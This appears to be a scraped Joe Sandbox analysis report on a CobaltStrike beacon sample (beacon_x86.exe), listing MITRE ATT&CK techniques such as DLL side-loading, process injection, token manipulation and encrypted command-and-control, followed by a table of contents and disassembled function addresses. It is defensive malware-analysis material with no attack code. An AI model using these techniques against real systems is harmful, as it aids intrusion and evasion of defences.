Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report beacon_x86.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
beacon_x86.exe

Function 0040116C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Function 00D61C3F Relevance: 16.7, APIs: 11, Instructions: 186
networkfileCOMMONLIBRARYCODE

Function 004013C1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Function 004011A3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Function 00401160 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Function 00D66F09 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Function 0040161C Relevance: 6.1, APIs: 4, Instructions: 56
pipefileCOMMON

Function 00D6DF82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
encryptionCOMMONLIBRARYCODE

Function 00401805 Relevance: 21.0, APIs: 3, Strings: 9, Instructions: 31
threadCOMMON

Function 00D67060 Relevance: 9.1, APIs: 6, Instructions: 124
COMMONLIBRARYCODE

Function 00D67E51 Relevance: 9.1, APIs: 6, Instructions: 113
networkCOMMONLIBRARYCODE

Function 00D6031C Relevance: 7.8, APIs: 5, Instructions: 308
COMMONLIBRARYCODE

Function 0040156C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
memorythreadCOMMON

Function 00D8511C Relevance: 6.1, APIs: 4, Instructions: 93
memoryCOMMONLIBRARYCODE

Function 00401296 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON